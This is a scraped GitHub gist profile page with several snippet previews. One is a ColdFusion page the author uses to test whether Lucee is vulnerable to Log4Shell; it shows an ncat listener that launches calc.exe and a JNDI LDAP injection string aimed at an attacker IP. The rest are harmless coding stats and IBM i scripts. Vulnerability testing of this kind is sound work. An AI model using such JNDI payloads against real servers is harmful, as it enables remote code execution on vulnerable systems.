Skip to content

Instantly share code, notes, and snippets.

View barrettotte's full-sized avatar
⚙️

Barrett Otte barrettotte

⚙️
View GitHub Profile
hello
@barrettotte
barrettotte / log4shell.cfm
Last active December 13, 2021 17:05
Testing log4shell exploit in ColdFusion (Lucee) - seems to be okay
<html>
<body>
<h2>log4shell test</h2>
<hr>
<div style="margin-bottom: 50px;">
Setup attacker with &nbsp;<code>ncat -k -vv -c "calc.exe" -l 18081</code>
<br>
Try this: &nbsp;<code>${jndi:ldap://192.168.10.123:18081/a}</code>
</div>
<form action="./index.cfm">
@barrettotte
barrettotte / Coding Stats
Last active June 29, 2022 07:08
Coding Stats
LAST 7 DAYS 13:34:09 2022-06-22 to 2022-06-28
Assembly 12:46:54 94.20%
Other 00:19:24 02.38%
Markdown 00:18:41 02.29%
PHP 00:07:07 00.87%
Makefile 00:02:03 00.25%
OVERALL 2725:59:32 2020-02-10 to 2022-06-28
Markdown 532:35:05 19.54%
/* CALL BOLIB/JOKE */
/* Entry Path: C:\Users\Public\IBM\ClientSolutions */
PGM
DCL VAR(&gist) TYPE(*CHAR) LEN(60)
DCL VAR(&cmd) TYPE(*CHAR) LEN(120)
CHGVAR VAR(&gist) VALUE('https://gist.github.com/' +
|| 'b6654e5606831f13f48887de39d67723.git')
@barrettotte
barrettotte / ibmi-build.sh
Last active April 22, 2020 17:30
Generic bash script for building an ILE application from the IFS
#!/QOpenSys/pkgs/bin/bash
#
# Source:
# https://gist.github.com/barrettotte/278e1e97fc2ba23c7ad6366b0b4c8668
#
# Give permission: $ chmod u+x build.sh
#
# Example project structure:
# cmd/ - .cmd
# dds/ - .pf .lf